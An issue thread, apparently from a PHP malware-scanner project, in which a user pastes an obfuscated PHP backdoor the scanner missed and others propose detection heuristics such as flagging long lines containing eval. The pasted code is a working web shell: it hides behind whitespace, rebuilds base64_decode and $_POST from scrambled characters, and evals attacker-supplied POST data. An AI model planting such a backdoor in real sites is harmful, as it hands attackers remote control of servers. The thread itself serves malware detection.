Failing to detect injection given below

[SamirMalpande]

<?php                                                                                                                                                                                                                                                $zgjv56 = "o_esb4da6ctp" ; $fzba02= strtolower( $zgjv56[4].$zgjv56[7].$zgjv56[3].$zgjv56[2] . $zgjv56[8].$zgjv56[5].$zgjv56[1] . $zgjv56[6]. $zgjv56[2].$zgjv56[9].$zgjv56[0].$zgjv56[6].$zgjv56[2] );$gfc4 =strtoupper ( $zgjv56[1]. $zgjv56[11].$zgjv56[0]. $zgjv56[3].$zgjv56[10] ) ; if( isset( ${ $gfc4 }['n89024b' ] )){eval( $fzba02 (${$gfc4 } [ 'n89024b' ] )) ;}?>

I tried but couldn't solve the issue as I dont have enough knowledge of RegEx.
Thanks

[joelw]

A lot of these dodgy PHP files have unusually long lines - the script could also scan for incredibly long lines, and perhaps to catch this particular one, moderately long lines that contain eval(?

[arnisjuraga]

+1

[philemerson]

Hi, I've submitted a pull request that addresses this issue.